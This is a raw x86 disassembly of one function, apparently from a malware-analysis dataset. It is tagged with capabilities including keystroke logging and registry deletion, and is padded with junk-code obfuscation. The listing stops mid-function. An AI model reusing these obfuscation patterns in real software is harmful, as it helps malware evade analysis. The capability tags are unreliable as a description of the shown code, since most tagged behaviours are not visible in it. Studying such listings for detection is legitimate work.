Function at 0x10039949
Capabilities:
Check os version
Create directory
Delete registry value
Enumerate gui resources
Get disk information
Get memory capacity
Get system information on windows
Log keystrokes
Resume thread
Suspend thread

Disassembly:
mov eax, 0x10065bd7
call fcn.10064598
sub esp, 0xc34
xor eax, eax
mov byte [ebp - 0x65], dl
push ebx
inc eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x24], eax
xor ebx, ebx
push esi
mov dword [ebp - 0x48], 0xb999fb0
push edi
mov dword [ebp - 0x24], ebx
jmp 0x10039996
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10039988
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe5
jne 0x10039979
push 3
pop edi
push edi
lea ecx, [ebp - 0x414]
call fcn.100099bf
mov dword [ebp - 0x34], 0xfffffff9
mov esi, 0x7ddc85f7
mov dword [ebp - 0x10], ebx
jmp 0x100399cb
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x414]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100399bc
mov eax, dword [ebp - 0x414]
lea ecx, [ebp - 0x414]
mov dword [eax], ebx
call fcn.10009e99
push edi
lea ecx, [ebp - 0x444]
call fcn.100099bf
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x10], ebx
jmp 0x10039a0a
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x444]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100399fb
mov eax, dword [ebp - 0x444]
lea ecx, [ebp - 0x444]
mov dword [eax], ebx
call fcn.10009e99
push edi
lea ecx, [ebp - 0x2dc]
call fcn.100099bf
push edi
lea ecx, [ebp - 0x540]
mov dword [ebp - 4], ebx
call fcn.100099bf
xor edx, edx
inc edx
mov byte [ebp - 4], dl
mov dword [ebp - 0x30], 0xc9b996a5
mov dword [ebp - 0x48], 0x1ac4
cmp dword [ebp - 0x48], 0xcf5
jge 0x10039b4e
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0x10007aec
call fcn.1004c09b
add esp, 0xc
lea ecx, [ebp - 0x768]
dec dword [ebp - 0xd8]
push dword [ebp - 0x8c]
call fcn.100099bf
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x8c]
mov esi, dword [ebp - 0x768]
test eax, eax
jle 0x10039ac1
mov edi, esi
push edi
push 0x10007758
call fcn.1004c09b
mov eax, dword [ebp - 0x8c]
inc ebx
pop ecx
add edi, 4
pop ecx
cmp ebx, eax
jl 0x10039aa6
push eax
lea ecx, [ebp - 0x438]
call fcn.100099bf
mov edx, dword [ebp - 0x8c]
xor ecx, ecx
mov ebx, dword [ebp - 0x438]
test edx, edx
jle 0x10039b06
mov edi, ebx
mov ebx, ecx
push edi
push 0x10007758
call fcn.1004c09b
mov edx, dword [ebp - 0x8c]
inc ebx
pop ecx
add edi, 4
pop ecx
cmp ebx, edx
jl 0x10039ae3
mov ebx, dword [ebp - 0x438]
xor ecx, ecx
cmp dword [esi], ecx
je 0x10039b58
mov eax, dword [ebp - 0xd8]
cmp dword [esi + eax*4], ecx
je 0x10039b53
xor eax, eax
lea ecx, [eax + 1]
xor ebx, ebx
test cl, cl
mov edx, 0x10007b90
mov eax, 0x10007b8c
cmove eax, edx
push eax
call fcn.1004c476
pop ecx
lea ecx, [ebp - 0x438]
call fcn.10009e99
lea ecx, [ebp - 0x768]
call fcn.10009e99
xor edx, edx
push 3
inc edx
pop edi
mov dword [ebp - 0x14], ebx
jmp 0x10039b97
cmp dword [ebx + eax*4], ecx
jne 0x10039b5e
xor ebx, ebx
mov cl, bl
jmp 0x10039b1c
inc eax
cmp eax, edx
jge 0x10039b1a
lea edi, [ebx + eax*4]
sub esi, ebx
xor ebx, ebx
cmp dword [esi + edi], ebx
je 0x10039b73
cmp dword [edi], ebx
jne 0x10039b7d
inc eax
add edi, 4
cmp eax, edx
jl 0x10039b6a
jmp 0x10039b1c
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10039b1c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2dc]
mov dword [eax + ecx*4], 0x2fd41e55
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10039b84
mov dword [ebp - 0x14], ebx
jmp 0x10039bae
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc0], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10039ba1
mov dword [ebp - 0x14], ebx
jmp 0x10039bcb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x540]
mov dword [eax + ecx*4], 0xba095a97
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10039bb8
mov dword [ebp - 0xbc], 2
cmp dword [ebp - 0xbc], ebx
jl 0x10039d1e
mov edi, dword [ebp - 0x2dc]
mov esi, dword [ebp - 0x540]
mov dword [ebp - 0x3c], 0x36be
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x2dc]
cmp dword [eax + ecx*4], ebx
jne 0x10039c1d
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x2dc]
cmp dword [eax + ecx*4], ebx
mov ecx, ebx
je 0x10039c1f
mov ecx, edx
mov eax, dword [ebp - 0xbc]
xor eax, eax
cmp ecx, edx
setg al
mov dword [esi + 8], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 8]
sub eax, dword [edi + 8]
imul edx, eax, 0xfffe
cmp dword [ebp - 0x30], 0xffff
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [esi + 8]
setg cl
imul eax, ecx
test eax, eax
je 0x10039c71
cmp dword [ebp - 0x30], ebx
je 0x10039c71
xor eax, eax
lea edx, [eax + 1]
jmp 0x10039c73
mov edx, ebx
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
neg ecx
inc edx
cmp ecx, edx
jae 0x10039c8f
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp - 0xc0]
cmp ecx, eax
sbb eax, eax
inc eax
sub eax, dword [esi + 8]
neg eax
sbb eax, eax
inc eax
neg eax
je 0x10039d03
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x48], 0x9c77e219
cmp dword [ebp - 0x10], ebx
je 0x10039cbd
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0xbc]
push 5
setle cl
sub eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xc6f7
pop eax
setge cl
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0x10]
setl al
imul ecx, eax
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x48], ecx
jmp 0x10039d0f
mov dword [ebp - 0x48], 0xd911aca8
cmp dword [ebp - 0x48], ebx
jne 0x10039d1b
dec dword [ebp - 0xbc]
jns 0x10039bf2
push 3
pop edi
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039d3c
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
lea ecx, [ebp - 0x540]
call fcn.10009e99
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2dc]
call fcn.10009e99
movdqa xmm0, xmmword [0x10007f60]
lea ecx, [ebp - 0x794]
push ecx
lea eax, [ebp - 0x784]
mov dword [ebp - 0x14], 0xfffffff9
push eax
push ecx
lea ecx, [ebp - 0x64c]
movdqu xmmword [ebp - 0x794], xmm0
call fcn.100099fb
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], 0xfffffffe
mov eax, dword [ebp - 0x14]
neg eax
push 0xfffffffffffffff6
pop esi
je 0x10039de2
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039daa
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [ebp - 0x14], ebx
jmp 0x10039dd8
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039dc5
push ebx
xor eax, eax
inc eax
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039dd5
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x10039daf
jmp 0x10039ea0
mov dword [ebp - 0x44], 0x9ec71cb2
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], ebx
jl 0x10039ea0
xor eax, eax
lea ecx, [ebp - 0x2ec]
inc eax
push eax
call fcn.100099bf
xor edx, edx
mov dword [ebp - 0x10], ebx
inc edx
jmp 0x10039e1f
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2ec]
mov dword [eax + ecx*4], 0xb7928fbc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10039e0c
mov eax, dword [ebp - 0x2ec]
mov dword [eax], ebx
mov dword [ebp - 0x40], esi
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039e3f
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x64c]
cmp dword [ecx + eax*4], ebx
mov eax, dword [ebp - 0x2ec]
setge dl
mov eax, dword [eax]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039e80
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x2ec]
inc dword [eax]
cmp dword [eax], edi
jle 0x10039e2c
lea ecx, [ebp - 0x2ec]
call fcn.10009e99
dec dword [ebp - 0x14]
jns 0x10039df5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x64c]
call fcn.10009e99
push edi
lea ecx, [ebp - 0x4e0]
call fcn.100099bf
xor eax, eax
mov dword [ebp - 4], 4
inc eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x48], 0xb999fb0
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xffffffe5
je 0x10039eff
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039ee8
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe5
jne 0x10039ed8
xor eax, eax
inc eax
movdqa xmm0, xmmword [0x10007fb0]
lea ecx, [ebp - 0x7b4]
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x7a4]
push ecx
push eax
push ecx
mov dword [ebp - 0x30], 0x46b8d963
lea ecx, [ebp - 0x628]
movdqu xmmword [ebp - 0x7b4], xmm0
call fcn.100099fb
push 5
pop eax
mov byte [ebp - 4], al
mov dword [ebp - 0x1c], 0x4709ba87
mov dword [ebp - 0x28], ebx
jmp 0x10039ffd
mov dword [ebp - 0x24], 0x4f2887cf
lea ecx, [ebp - 0x450]
push 2
call fcn.100099bf
mov dword [ebp - 0x10], ebx
jmp 0x10039f7b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x450]
mov dword [eax + ecx*4], 0x7f4ea14c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10039f68
cmp dword [ebp - 0x24], ebx
jne 0x10039fc4
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov ecx, esi
setge dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
sub edx, edi
neg edx
sbb edx, edx
inc edx
sub ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x628]
setg dl
mov dword [eax], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfb5d
mov eax, dword [ebp - 0x450]
setle cl
mov dword [eax], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10039fef
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x450]
call fcn.10009e99
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xa
jl 0x10039f4f
mov dword [ebp - 0x1c], 0xffffffe9
jmp 0x1003a04e
mov dword [ebp - 0x3c], 0x4a276ac1
cmp dword [ebp - 0x1c], ebx
je 0x1003a041
cmp dword [ebp - 0x28], ebx
jne 0x1003a041
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
xor eax, eax
inc eax
jmp 0x1003a043
mov eax, ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x3c], ebx
jne 0x1003a054
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffff
jle 0x1003a010
lea ecx, [ebp - 0x628]
mov byte [ebp - 4], 4
call fcn.10009e99
mov dword [ebp - 0x10], ebx
jmp 0x1003a07b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4e0]
mov dword [eax + ecx*4], 0x7ddc85f7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003a068
xor ecx, ecx
inc ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x10], ebx
jmp 0x1003a098
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x334], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003a08b
mov dword [ebp - 0x32c], ebx
jmp 0x1003a185
push ecx
mov dword [ebp - 0x10], 0xffffffff
lea ecx, [ebp - 0x298]
call fcn.100099bf
xor edx, edx
mov dword [ebp - 0x10], ebx
inc edx
jmp 0x1003a0d4
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x298]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003a0c4
mov dword [ebp - 0x10], 0xa
jmp 0x1003a167
mov dword [ebp - 0x28], 0x756a3367
mov dword [ebp - 0x28], ebx
jmp 0x1003a14c
mov dword [ebp - 0x40], edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x298]
cmp dword [eax + ecx*4], ebx
jne 0x1003a151
mov eax, dword [ebp - 0x328]
cmp eax, dword [ebp - 0x32c]
je 0x1003a126
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x298]
cmp dword [eax + ecx*4], edx
mov eax, ebx
jge 0x1003a128
mov eax, edx
mov dword [ebp - 0x40], eax
xor edx, edx
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x298]
push 1
setle dl
mov dword [eax + esi*4], edx
inc dword [ebp - 0x28]
pop edx
cmp dword [ebp - 0x28], ebx
jle 0x1003a0f1
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003a161
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
dec dword [ebp - 0x10]
push 1
pop edx
cmp dword [ebp - 0x10], 0xfffffff1
jne 0x1003a0e5
lea ecx, [ebp - 0x298]
call fcn.10009e99
dec dword [ebp - 0x32c]
push 1
pop ecx
cmp dword [ebp - 0x32c], 0xffffffe7
je 0x1003a0a9
mov eax, dword [ebp - 0x4e0]
lea ecx, [ebp - 0x4e0]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ebx
call fcn.10009e99
xor eax, eax
lea ecx, [ebp - 0x36c]
inc eax
mov esi, 0x24a8c6a5
mov dword [ebp - 0x14], esi
push eax
call fcn.100099bf
mov edi, 0x8364
xor edx, edx
mov dword [ebp - 0x24], edi
inc edx
mov dword [ebp - 0x10], ebx
jmp 0x1003a1df
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x36c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003a1d0
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], 0xfffffff6
push 0xfffffffffffffffd
pop ecx
jge 0x1003a219
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003a20a
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xfffffffffffffffd
pop ecx
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff6
jl 0x1003a1f4
xor edx, edx
inc edx
cmp dword [ebp - 0x14], ebx
mov ebx, dword [sym.imp.USER32.dll_GetClassNameW]
je 0x1003a2fb
mov dword [ebp - 0x40], 0x5fa31871
xor eax, eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x14], eax
jmp 0x1003a2f0
mov dword [ebp - 0x28], 0xf3938425
xor ecx, ecx
mov dword [ebp - 0x30], 0xfffffff9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x36c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
inc edx
cmp edx, eax
setg cl
cmp ecx, 0xd3d47825
jbe 0x1003a274
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x36c]
setne cl
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
neg ecx
lea eax, [ecx - 0x1c443818]
mov dword [ebp - 0x30], eax
imul eax, dword [ebp - 0x30], 0x55a
sub eax, 0x1078
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
je 0x1003a2be
mov eax, dword [ebp - 0x14]
xor eax, eax
inc eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003a2e8
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003a2e5
push 0x1d5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1003a2cb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1003a23c
jmp 0x1003a330
xor eax, eax
mov dword [ebp - 0x48], 8
mov dword [ebp - 0x24], eax
jmp 0x1003a324
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003a321
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0xfffffffffffffffd
xor eax, eax
pop ecx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1003a309
mov dword [ebp - 0x48], 0xb0c3
lea ecx, [ebp - 0x36c]
call fcn.10009e99
xor eax, eax
mov dword [ebp - 0x14], esi
inc eax
lea ecx, [ebp - 0x3b4]
push eax
call fcn.100099bf
xor ecx, ecx
mov dword [ebp - 0x24], edi
xor edx, edx
mov dword [ebp - 0x10], ecx
inc edx
cmp dword [ebp - 0x10], edx
jge 0x1003a373
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3b4]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003a35d
xor ecx, ecx
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], 0xfffffff6
jge 0x1003a3ac
push 0xfffffffffffffffd
pop edi
mov dword [ebp - 0x48], edi
mov byte [ebp - 0x15], cl
cmp byte [ebp - 0x15], 0
je 0x1003a398
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff6
jl 0x1003a383
xor edx, edx
mov edi, 0x8364
inc edx
cmp dword [ebp - 0x14], ecx
je 0x1003a4d8
mov dword [ebp - 0x40], 0x5fa31871
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ecx
jg 0x1003a488
mov dword [ebp - 0x28], 0xf3938425
xor ecx, ecx
mov dword [ebp - 0x30], 0xfffffff9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3b4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
inc edx
cmp edx, eax
setg cl
cmp ecx, 0xd3d47825
jbe 0x1003a403
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3b4]
setne cl
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
neg ecx
lea eax, [ecx - 0x1c443818]
mov dword [ebp - 0x30], eax
imul eax, dword [ebp - 0x30], 0x55a
sub eax, 0x1078
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
je 0x1003a44d
mov eax, dword [ebp - 0x14]
xor eax, eax
inc eax
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003a477
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003a474
push 0x1d5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1003a45a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1003a3cb
xor ebx, ebx
lea ecx, [ebp - 0x3b4]
call fcn.10009e99
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x48], 0x25fe
cmp dword [ebp - 0x48], 0x6a5
jge 0x1003a52f
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x164]
push eax
push 0x10007c60
call fcn.1004c09b
mov eax, dword [ebp - 0x2f0]
add esp, 0x10
mov ecx, ebx
jmp 0x1003a51a
xor ebx, ebx
mov dword [ebp - 0x48], 8
push 0xfffffffffffffffd
mov dword [ebp - 0x24], ebx
pop eax
jmp 0x1003a501
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x1003a4fe
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0xfffffffffffffffd
pop eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jl 0x1003a4e9
mov dword [ebp - 0x48], 0xb0c3
jmp 0x1003a48a
imul eax, dword [ebp - 0x200]
inc ecx
cmp eax, dword [ebp - 0x164]
jl 0x1003a512
push ecx
push 0x10007b6c
call fcn.1004c2b6
pop ecx
pop ecx
push 2
lea ecx, [ebp - 0x634]
call fcn.100099bf
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], ebx
jmp 0x1003a557
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x634]
mov dword [eax + ecx*4], 0x571177e8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a544
xor ecx, ecx
mov dword [ebp - 0x10], ebx
inc ecx
cmp dword [ebp - 0x10], ecx
jg 0x1003a595
mov eax, 0xce1e2c0d
mov dword [ebp - 0x594], eax
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x590], ebx
jne 0x1003a595
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x1003a56d
lea ecx, [ebp - 0x634]
call fcn.10009e99
xor eax, eax
lea ecx, [ebp - 0x3cc]
inc eax
push eax
call fcn.100099bf
mov dword [ebp - 4], 8
xor edx, edx
mov dword [ebp - 0x14], 0xffffffff
inc edx
mov dword [ebp - 0x24], 0xfffffff6
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x50], 0x98d253de
mov dword [ebp - 0x10], ebx
jmp 0x1003a5ed
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x350], 0xcf859e22
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003a5dc
push 7
pop esi
push 0x12
pop ecx
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x14], ebx
je 0x1003a7a0
mov dword [ebp - 0x1c], 0x27689351
mov dword [ebp - 0x30], 0x9d73df2e
mov dword [ebp - 0x3c], 0xb18b
mov dword [ebp - 0x2c], 0xa917
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jne 0x1003a680
mov dword [ebp - 0x14], ebx
jmp 0x1003a675
mov dword [ebp - 0x1c], esi
jmp 0x1003a66d
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0x1d0], ebx
mov dword [ebp - 0x1cc], ebx
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1d4], ebx
jmp 0x1003a661
cmp dword [ebp - 0x14], ebx
jne 0x1003a66a
dec dword [ebp - 0x1d4]
cmp dword [ebp - 0x1d4], 0xffffffe9
jl 0x1003a656
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jge 0x1003a636
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x28
jge 0x1003a631
jmp 0x1003a857
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], ebx
jmp 0x1003a699
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x174], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003a688
mov dword [ebp - 0x28], 0x4de6
xor edx, edx
mov dword [ebp - 0x30], 0x9675
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
cmp dword [ebp - 0x30], 6
sbb eax, eax
neg eax
imul edx, eax
imul edx, dword [ebp - 0x28]
test edx, edx
je 0x1003a6d6
cmp dword [ebp - 0x1c], ebx
je 0x1003a6d6
xor eax, eax
inc eax
jmp 0x1003a6d8
mov eax, ebx
mov dword [ebp - 0x24], eax
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov esi, 0x165f5c9b
mov dword [ebp - 0x174], eax
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x174]
cmp eax, 0x3fa9a180
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x10], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp eax, 0xcb5c7460
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
sub esi, edx
sub esi, 0xd46c64e7
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp eax, esi
mov eax, dword [ebp - 0x24]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x28]
setge bl
xor ecx, ecx
cmp ebx, eax
setg cl
xor ebx, ebx
sub ecx, 0x600b36f3
jne 0x1003a779
cmp dword [ebp - 0x30], ebx
jne 0x1003a779
mov eax, ebx
jmp 0x1003a77c
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
imul eax, dword [ebp - 0x30], 0xf8cd
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
jmp 0x1003a857
mov dword [ebp - 0x1c], 0xd229656
mov dword [ebp - 0x50], 0xd54df96
